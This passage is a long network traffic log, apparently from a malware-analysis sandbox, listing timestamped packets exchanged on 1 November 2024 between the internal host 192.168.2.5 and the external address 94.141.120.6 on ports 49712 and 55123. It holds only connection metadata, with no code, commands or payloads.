Nov 1, 2024 08:37:12.326647043 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326656103 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326662064 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326669931 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326678991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326692104 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326697111 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326699972 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326709032 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326735020 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326747894 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326756001 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326776981 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326792955 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.326792955 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.326841116 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331625938 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331635952 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331653118 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331660986 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331671000 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331676960 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331705093 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331712008 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331717014 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331723928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331759930 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331763029 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331767082 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331815958 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331825972 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331832886 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331855059 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331859112 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331865072 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.331867933 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331877947 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.331911087 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336574078 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336596012 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336618900 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336626053 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336637974 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336648941 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336667061 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336700916 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336755991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336764097 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336800098 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336812973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336821079 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336853027 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336860895 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336870909 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336879969 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336889982 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336895943 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336898088 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336919069 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336920023 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.336926937 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.336961031 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.341713905 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341727972 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341768026 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341768026 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.341778994 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341793060 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.341795921 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341813087 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.341830969 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.341958046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.341968060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342008114 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342029095 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342036963 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342046022 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342066050 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342068911 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342078924 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342087984 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342094898 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342097044 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342123985 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342124939 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.342134953 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.342161894 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.346869946 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.346882105 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.346924067 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.346993923 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347002983 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347038031 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347039938 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347075939 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347105026 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347112894 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347121000 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347137928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347146034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347147942 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347162008 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347187996 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347194910 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347212076 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347222090 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347233057 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.347245932 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347265959 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.347285986 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.351974010 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352046013 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352255106 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352298021 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352302074 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352324009 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352332115 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352353096 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352365971 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352374077 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352380037 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352380991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352421045 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352618933 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352658987 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352677107 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352684975 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352691889 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352700949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352705002 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352716923 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.352730036 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352741003 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.352763891 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.356976986 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357031107 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357063055 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357105970 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357229948 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357239962 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357279062 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357290983 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357300043 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357331991 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357362986 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357373953 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357399940 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357410908 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357494116 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357502937 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357511997 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357548952 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357548952 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357631922 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357641935 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357676029 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357677937 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.357692957 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.357711077 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.361860991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.361926079 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.361929893 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.361963987 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362008095 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362066031 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362097025 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362138033 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362198114 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362206936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362240076 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362409115 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362418890 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362495899 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362499952 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362509012 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362538099 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362546921 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362555981 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362577915 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362581968 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362591028 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362622023 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362634897 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362643003 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.362664938 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.362679958 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.366857052 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.366882086 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.366898060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.366904974 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.366905928 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.366923094 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.366924047 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.366945028 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.366956949 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367043018 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367050886 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367089033 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367269039 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367304087 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367355108 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367396116 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367460966 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367503881 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367506027 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367543936 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367567062 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367577076 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367607117 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367611885 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367616892 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367630005 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367636919 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367671967 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.367847919 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.367888927 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.371826887 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371839046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371855021 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371865034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371884108 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.371900082 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371903896 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.371910095 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371918917 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.371942043 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.371957064 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372116089 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372149944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372209072 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372243881 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372277975 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372312069 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372315884 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372351885 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372371912 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372407913 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372415066 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372417927 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372450113 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372554064 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372591972 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372606993 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372615099 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372662067 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.372684956 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.372734070 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.376780033 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376806974 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376815081 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376822948 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376837015 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376838923 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.376848936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376857996 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376862049 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.376878023 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.376893997 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.376910925 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.376986027 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377031088 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377060890 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377098083 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377104044 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377142906 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377213955 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377223015 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377250910 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377258062 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377286911 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377347946 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377389908 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377477884 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377485991 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377516031 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377527952 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.377645969 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.377684116 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.381844044 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.381853104 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.381899118 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.381921053 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.381928921 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.381957054 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.381968975 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382006884 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382033110 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382040977 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382066011 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382100105 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382107973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382113934 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382137060 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382152081 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382169962 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382178068 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382184982 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382193089 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382205963 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382208109 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382215977 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382219076 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382221937 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382249117 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382283926 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382292032 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382312059 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382325888 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.382652044 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.382698059 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.386957884 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.386981010 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.386990070 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387006998 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387027979 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387033939 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387070894 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387193918 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387202024 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387248993 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387263060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387303114 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387336969 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387351036 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387391090 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387402058 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387411118 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387418032 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387428045 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387433052 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387450933 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387469053 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387562990 CET	55123	49712	94.141.120.6	192.168.2.5
